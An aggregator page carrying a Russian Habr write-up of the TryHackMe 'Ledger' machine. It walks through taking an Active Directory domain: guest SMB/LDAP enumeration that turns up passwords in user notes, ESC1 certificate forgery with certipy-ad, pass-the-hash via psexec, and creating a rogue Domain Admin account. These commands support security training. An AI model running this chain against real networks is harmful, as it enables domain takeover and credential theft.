惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

B
Blog RSS Feed
Google DeepMind News
Google DeepMind News
罗磊的独立博客
Martin Fowler
Martin Fowler
博客园_首页
Stack Overflow Blog
Stack Overflow Blog
Last Week in AI
Last Week in AI
The GitHub Blog
The GitHub Blog
B
Blog
C
Check Point Blog
WordPress大学
WordPress大学
G
Google Developers Blog
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
量子位
月光博客
月光博客
U
Unit 42
Engineering at Meta
Engineering at Meta
有赞技术团队
有赞技术团队
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
大猫的无限游戏
大猫的无限游戏
博客园 - 聂微东
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Y
Y Combinator Blog
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Vercel News
Vercel News
Application and Cybersecurity Blog
Application and Cybersecurity Blog
博客园 - 【当耐特】
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Jina AI
Jina AI
S
Secure Thoughts
aimingoo的专栏
aimingoo的专栏
D
Darknet – Hacking Tools, Hacker News & Cyber Security
I
Intezer
Latest news
Latest news
V
Vulnerabilities – Threatpost
D
Docker
Attack and Defense Labs
Attack and Defense Labs
Help Net Security
Help Net Security
S
Security @ Cisco Blogs
Forbes - Security
Forbes - Security
MongoDB | Blog
MongoDB | Blog
云风的 BLOG
云风的 BLOG
L
LINUX DO - 热门话题
P
Palo Alto Networks Blog
Cloudbric
Cloudbric
Spread Privacy
Spread Privacy

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания Автономность как точка невозврата: кто будет субъектом в цифровом будущем Обучение ИИ в «диких» условиях: как рутинные действия превращаются в датасеты Как измерить LLM для задач кибербеза: обзор открытых бенчмарков Где хранить код? Сравнение GitHub, GitLab и Bitbucket Математика объясняет, почему нормальное распределение встречается повсюду Почему ваш FinOps не работает: 12 тезисов от практиков Как подписать проектную документацию УКЭП с использованием бесплатных лицензий Pilot Адаптивное администрирование Sigla Vision Я грузил уран в бочки, а потом 20 лет строил ИТ в атомной отрасли Чем позвонить с Эвереста? История и обзор спутниковой связи. Часть 2 Как языковая модель помогает контролировать качество инструктажей по охране труда в металлургии Как не передать на desktop свой IP в РКН Анатомия SAP Privileges: как устроено управление правами в macOS MoneyDev: Сказка про три главных слова Обновлённый токенизатор видео K-VAE 2.0 от Сбера Как сделать диспетчеризацию дома на 1284 квартиры почти бесплатно Как мы разогнали железную дорогу Мы дали агентам рутину. Теперь надо решить — что делать с освободившимся временем Токсичный контент, промпт-хакинг и защита ИИ — всё о Guardrails для LLM Умный город начинается с точного взгляда: как «Фалькон Тех» меняет пространство к лучшему Навайбкодил приложение для анализа графов Почему Дюну так интересно читать? Упрощаем работу с рутиной или как стать Гендальфом Белым Деконструкция Go: CPU, RAM и что там происходит. Go Assembler база. Часть 1.1 Какие профессии исчезнут из-за ИИ, а какие появятся? И что с этим делать Как мы построили IT-отдел, где хочется расти: архитектурные встречи, прозрачные метрики и книжные подарки Rufler: Делаем из Claude Code автономный рой через один YAML-конфиг Sing-box и белый список приложений Как построить надёжный обмен сообщениями в микросервисах: лучшие практики для enterprise OpenAI строит MLM-пирамиду, а McKinsey и Accenture помогают ей в этом Дом, который не построил Фишер (Часть 2) «Сверхзвуковой математик» против «Вдумчивого логиста»: битва алгоритмов 3D-упаковки Мультимодальные модели – грубый и дорогой инструмент Разговоры ничего не стоят. Код тоже Проверки физических лиц: с кого начнет ФНС Топ-10 бесплатных нейросетей для создания видео в 2026 году Первые слои кода: как наши решения сегодня определяют архитектуру ИИ на десятилетия Разработка нового статического анализатора: PVS-Studio JavaScript Поиск уязвимостей ПО: базовый минимум или роскошный максимум Почему оценка персонала не работает как инструмент управления Как мы разработали ИИ-ассистента и сократили рутину продуктовой команды на 50% Как я ушел из найма, нажарил косточек и продал на маркетплейсах на 168 млн в год Когда 1С:ERP уже внедрена, а нормального производственного плана всё ещё нет Как я сделал Claude мультимодальным, подключив к нему Qwen Omni Как приглашение на вакансию мечты превращается в атаку Infrastructure as Code: философия и лучшие практики IaC Тестируем Yandex Code Assistant на задаче, в которой нужно хранить секреты nxs-universal-chart v3.0: новое поколение универсального Helm-чарта Callback Injection: Техника, которая отправила Microsoft Defender в глухой нокаут «Все идеи на стол»: митап как способ вывести проект из тупика Сегодня я узнал нечто новое о GPU благодаря багу в своей игре Как заставить LLM ̶ ̶г̶а̶л̶л̶ю̶ ̶ эволюционировать Карта событий как фундамент аналитики: практический кейс для E-commerce Что выбрать для AI: x86, ARM или RISC-V? Дайджест железа за март Роль соматических мутаций в развитии аутоиммунных заболеваний: путь к избирательной терапии Mythos от Anthropic — тревожный сигнал для всех, а не только для банков Guardrails для LLM на Java: как приручить промпт‑инъекции и токсичные ответы Green-VLA: как мы собрали VLA-модель для реального антропоморфного робота и не потеряли обобщение Финансовая гонка вооружений: почему умные люди добровольно в ней участвуют Эра ИИ-агентов наступила: выбираем лучшего цифрового сотрудника # Практический опыт внедрения WinCC Redundancy на производственном предприятии Сделал MVP за 3 дня, а потом неделю прикручивал оплату. Оно того стоило? Физика против Маска: почему Starship V3 может оказаться ещё одной катастрофой Нефть Венесуэлы: крупнейшие запасы в мире, но не крупнейшая нефтяная держава JPA 4. Переосмысление Hibernate Почему зеркальная фотокамера Nikon D5 десятилетней давности идеально подошла для миссии «Артемида-2» Проект «Уровень-Спутник» или как мы сделали платформу для гидрологов «Замедлиться, чтобы ускориться»: почему ИИ повышает цену ошибок в требованиях и архитектуре Как с нуля поднять трафик IT-компании на 1657% при бюджете 55 тыс. и выжить Pixel-perfect Downsampling — идеальная отрисовка 50 миллионов точек без потерь
Ledger — прохождение сложной машины от Tryhackme
seobuster · 2026-05-07 · via Все публикации подряд на Хабре

Уровень сложностиСложный

Время на прочтение7 мин

Охват и читатели0

Ledger

Ledger

Ledger — это сложная машина Windows на TryHackMe, в центре которой находится неправильная конфигурация служб сертификатов Active Directory (AD CS). Первоначальная разведка выявляет контроллер домена (labyrinth.thm.local) с включенной аутентификацией SMB null и LDAP, раскрывающим учетные данные пользователя в примечаниях. Через certipy-ad находим шаблон сертификата ServerAuth , который уязвим к ESC1, что позволяет любому аутентифицированному пользователю запросить сертификат, выдавая себя за администратора домена. Хэш NT администратора извлекается из поддельного сертификата, а psexec предоставляет командную оболочку NT AUTHORITY SYSTEM. Альтернативный путь эксплуатации через аутентификацию LDAP Schannel для случаев, когда Kerberos PKINIT не срабатывает.

Разведка (T1595.002)

Поскольку в задании у нас сказано, что нужно будет эксплойтить Active Directory, значит у нас Windows, а для успешного сканирования этой ОС, нужно добавить флаг -Pn.

sudo nmap -sC -sV -v 10.114.161.221 -Pn

Здесь много портов, если сравнивать с машинами на Linux.

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-03 09:42:50Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-03T09:44:40+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:labyrinth.thm.local
| Issuer: commonName=thm-LABYRINTH-CA
443/tcp  open  ssl/https?
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-03T09:44:39+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:labyrinth.thm.local
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:labyrinth.thm.local
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Первое, на что стоит обратить внимание это домены, которые нужно добавить в /etc/hosts.

Есть даже вебчик на 80 и 443 порту, но там стандартная заглушка от IIS, поэтому там делать нечего. Фаззить, там что-либо бесполезно.

4 порта 389,636,3268,3269 ldap. Они разделяются по способу шифрования и объему доступных данных.

Очень интересный порт 3389 это rdp, однако пока у нас нет кредов, чтобы туда зайти.

445 порт помечен как microsoft-ds?, но это должен быть smb.


Разведка через smb

Попробуем узнать для начала общую информацию о хосте. Буду использовать утилиту netexec.

~  nxc smb 10.114.161.221                                      
SMB         10.114.161.221  445    LABYRINTH        [*] Windows 10 / Server 2019 Build 17763 x64 (name:LABYRINTH) (domain:thm.local) (signing:True) (SMBv1:None) (Null Auth:True)

Здесь важный вывод это Null Auth:true. Это означает, что разрешена «нулевая сессия» (вход без логина и пароля).

С пустыми кредами нас не пускает, зато гостя приняли как родного, заодно можно изучить список всех пользователей и групп.

nxc smb 10.114.161.221  -u 'guest' -p '' --rid-brute

Разведка через ldap

Стоит проверить этой же утилитой список юзеров через порт 389. Здесь данные передаются в открытом виде.

nxc ldap 10.114.161.221 -u 'guest' -p '' --users

Здесь также видим много пользователей, но если внимательно посмотреть, то у двоих пользователей, можно наблюдать пароль в примечаниях. IVY_WILLIS и SUSANNA_MCKNIGHT.

Пароли в примечаниях

Пароли в примечаниях

Креды получены, можно пробовать подключиться по RDP.


Эксплуатация (T1190) и первый флаг

Для подключения по RDP я буду использовать утилиту Remmina.

Логинимся по RDP

Логинимся по RDP

Входим по полученному имени пользователя и паролю, домен - из скана nmap.

IVY_WILLIS не поддался и видимо сменил пароль. Зато мы успешно залогинились под именем SUSANNA_MCKNIGHT и флаг на рабочем столе.

Первый флаг

Первый флаг

THM{Firslt_user_flag!}

Поиск вектора для повышения привелегий в AD

Нужно бы осмотреться в системе, поэтому будем использовать Bloodhound для визуализации нашего положения.

bloodhound-ce-python -d thm.local -ns 10.114.161.221 -dc labyrinth.thm.local --zip -c all -u 'SUSANNA_MCKNIGHT' -p '******'

Эта команда создаст zip архив. Затем просто экспортируем его в bloodhound для наглядности.

Bloodhound разведка

Bloodhound разведка

Здесь можем наблюдать путь от нашего пользователя, до группы Domain Admins. Цель — Beverly или Bradley: Эти два пользователя — кратчайший путь к полному захвату домена. Однако этот путь не единственный к полному захвату.

При работе с Active Direcory, полезно проверить ошибки в конфигурациях сертификатов. Для этих целей просканируем систему утилитой certipy-ad.

certipy-ad find -u SUSANNA_MCKNIGHT -p '******' -dc-ip 10.114.161.221 -vulnerable
Уязвимость ESC1

Уязвимость ESC1

Успех, есть уязвимоть ESC1.

Шаблон ServerAuth позволяет любому члену Authenticated Users выпустить сертификат клиентской аутентификации на имя произвольного пользователя домена, включая Domain Administrator.


Решение №1. Атакуем AD с кредами админа

Зная об уязвимости ESC1, далее я насчитал как минимум 3 пути решения, хотя они все схожи.

  1. Можно выпустить сертификат притворившись непосредственно администратором.

  2. Можно запросить пропуск на имя BRADLEY_ORTIZ, потому что он входит в группу Domain Admins, а для чтения флага, нам нужно это условие.

  3. Создать своего пользователя и добавить в группу Domain Admins.

Все 3 решения основаны на уязвимости ESC1.

Будем притворяться админом и сделаем запрос на выпуск сертификата от его имени. Для этого снова будем использовать certipy-ad.

certipy-ad req -u 'SUSANNA_MCKNIGHT@thm.local' -p '******!' -target labyrinth.thm.local  -template 'ServerAuth' -ca 'thm-LABYRINTH-CA' -upn Administrator@thm.local

Получаем файл administrator.pfx, содержащий сертификат администратора.

С помощью того же Certipy можно будет получить NT-хэш администратора или запросить Kerberos TGT.

certipy-ad auth -pfx administrator.pfx -dc-ip 10.112.146.154
Аутентификация по поддеольному сертификату

Аутентификация по поддеольному сертификату

Как видно хэш админа получен.

Когда у нас есть хэш админа, нам не нужен его пароль. Мы можем напрямую подключаться с хэшем.

impacket-psexec -k -hashes :00000000000000 thm.local/Administrator@labyrinth.thm.local
Второй флаг

Второй флаг

Флаг рута взят.

THM{root's_flag_is_here}

Решение №2 через создание своего пользователя

В процессе решения после этапа запроса сертификата, во время аутентификации у меня kerberos выдавал ошибку.

[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

Ошибка KDC_ERR_PADATA_TYPE_NOSUPP означает, что на DC банально не настроен (или сломан) сертификат для Kerberos PKINIT-аутентификации. Однако валидный файл .pfx я уже получил.

Гуглинг дал одну наводку, что можно обойти через Schannel — аутентификация напрямую в LDAP по TLS-сертификату, минуя Kerberos целиком.

certipy-ad auth -pfx administrator.pfx -dc-ip 10.114.161.221 -ldap-shell

Логинимся, получаем шелл, однако через него напрямую нельзя прочитать флаг. Но можно создать нового пользователя и выдать ему админские права.

# add_user Den
Attempting to create user in: %s CN=Users,DC=thm,DC=local
Adding new user with username: Den and password: 40B2lsU/56CP7,6 result: OK

# add_user_to_group Den "Domain Admins"
Adding user: Den to group Domain Admins result: OK

С полученными кредами логинимся по RDP, забираем флаг.

Флаг рута по RDP

Флаг рута по RDP


Пару заметок по прохождению.

Во время работы утилиты certipy-ad иногда сыпались и другие ошибки, по типу

[!] DNS resolution failed: The DNS query name does not exist: labyrinth.thm.local.
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/certipy/lib/[target.py](http://target.py)", line 442, in resolve

Это потому что Certipy использует dns.resolver из Python, который ходит напрямую в DNS-сервер из /etc/resolv.conf, а не в /etc/hosts. Поэтому нужно добавить айпишник машины в этот файл первым. Порядок здесь важен!

Также в процессе решения машины узнал про утилиту rpcclient. В данном таске при моем решении, она не понадобилась, однако может быть полезна в будущем. С помощью нее можно получить массу полезной информации, которую не всегда отдают другие инструменты. Работая с AD нередко может понадобиться SID (Security Identifier) — это уникальный номер (например, S-1-5-21-3623811015-3361044348-30300820-500), который Windows использует для контроля доступа. Узнать SID админа на этой машине можно с помощью команды:

rpcclient -U 'SUSANNA_MCKNIGHT%PASSWORD' 10.112.146.154 -c "lookupnames Administrator"

Если на DC установлен патч KB5014754, то при аутентификации через certipy-ad auth может прилететь отказ. В этом случае нужно будет указать SID администратора и указать его при аутентификации.


Маппинг по MITRE ATT&CK

Phase

Tactic

Technique

ID

Сканирование портов

Discovery

Network Service Discovery

T1046

Гостевой SMB доступ

Discovery

Account Discovery: Domain Account

T1087.002

Пароли в открытом виде

Credential Access

Unsecured Credentials: Credentials In Files

T1552.001

Вход по RDP через найденные креды

Initial Access

Valid Accounts: Domain Accounts

T1078.002

Маппинг домена через BloodHound

Discovery

Permission Groups Discovery: Domain Groups

T1069.002

AD CS ESC1 подделка сертификата

Credential Access

Steal or Forge Authentication Certificates

T1649

Извлечение NT-хеша из PFX

Credential Access

OS Credential Dumping

T1003

Pass-the-Hash через psexec

Lateral Movement

Use Alternate Authentication Material: Pass the Hash

T1550.002

Создание пользователя и добавление в группу Domain Admins

Persistence

Create Account: Domain Account

T1136.002

Оценка уязвимостей по CVSS

CVE

CVSS 3.1

Severity

Description

Пароли в примечаниях

6.5 (est.)

Medium

Пароли хранились в открытом виде в разделе примечаний, а также доступны для чтения всем пользователям с гостевым доступом CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE-2024-49019 / ESC1

7.8

High

Неправильно настроенный шаблон сертификата позволяет любому авторизованному пользователю запрашивать сертификаты аутентификации клиента для произвольных субъектов, включая администратора домена.

Райтап от @alfabuster